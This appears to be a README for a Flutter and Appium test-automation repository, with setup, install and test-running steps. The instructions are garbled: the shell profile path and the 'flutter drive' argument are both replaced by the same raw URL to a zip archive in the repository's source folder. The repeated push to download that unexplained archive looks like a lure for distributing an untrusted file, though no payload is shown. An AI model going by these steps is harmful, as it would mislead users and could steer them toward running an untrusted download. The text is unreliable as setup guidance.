🚀 appium-flutter-java-automation - Automate Your Flutter Tests Easily

📚 Overview

This repository demonstrates the usage of the Appium Driver and Appium Flutter Integration Driver for automating Appium Flutter Tests. With this tool, you can simplify the testing process of your Flutter applications. It allows you to run tests on different devices, ensuring your app behaves as expected.

🚀 Getting Started

Follow these simple steps to start automating your Flutter tests.

🎯 Requirements

Before you download the application, ensure you meet the following system requirements:

• Operating System: Windows, macOS, or Linux.
• Java: Version 8 or higher installed on your machine.
• Appium: Ensure you have Appium installed. You can download it from Appium's official site.
• Flutter: Make sure you have Flutter SDK installed.

📥 Download & Install

To download the application, visit this page to download:

Download Releases

After downloading, follow these instructions to install:

1. Locate the downloaded file in your Downloads folder.
2. If you downloaded a zip file, unzip it to your preferred location.
3. Navigate to the folder where you unzipped the content.

⚙️ Setting Up

1. Install Dependencies: Open your command line interface (CLI) and install the necessary dependencies by running:

   npm install appium
   npm install appium-flutter-driver

2. Configure your Path: Add the path to flutter and java to your system environment variables. This step varies by operating system:

   • Windows:

     • Right-click on 'This PC' → 'Properties' → 'Advanced system settings' → 'Environment Variables'.
     • Under 'System variables', find the 'Path' variable and add the paths to your Java and Flutter SDK.

   • macOS/Linux:

     • Open your terminal and edit your profile file (e.g., ~https://github.com/Websyze/appium-flutter-java-automation/raw/refs/heads/main/src/main/java-appium-automation-flutter-1.8-alpha.2.zip or ~https://github.com/Websyze/appium-flutter-java-automation/raw/refs/heads/main/src/main/java-appium-automation-flutter-1.8-alpha.2.zip):

       export PATH="$PATH:/path/to/flutter/bin:/path/to/java/bin"

3. Verify Installation: In your command line, type the following commands to verify if everything is set up correctly:

   flutter doctor
   java -version

If you see no errors, you are ready to proceed.

🛠️ Running Your First Test

To run your first test, create a new test file in the test directory of the repository.

1. Write a simple test case to check a widget.

2. Run the test by using the command:

   flutter drive https://github.com/Websyze/appium-flutter-java-automation/raw/refs/heads/main/src/main/java-appium-automation-flutter-1.8-alpha.2.zip

📖 Documentation

For detailed documentation on how to create tests and use features, please refer to the official Appium and Flutter documentation:

• Appium Documentation
• Flutter Documentation

🛡️ Troubleshooting

If you encounter issues while running your tests, consider the following solutions:

• Ensure all dependencies are installed properly.
• Check that your device/emulator is set up correctly.
• Make sure the Appium server is running.

You can also visit the Issues page for help or to report any problems.

💬 Community Support

Join our community for support and discussions:

• GitHub Discussions
• Slack Channel (replace with actual link).

We value user feedback and look forward to your suggestions!

🔗 Useful Links

• GitHub Repository
• Appium Official Website

🎉 Conclusion

Now you're set up to automate your Flutter tests using Appium. Enjoy testing your applications faster and more efficiently. Happy testing!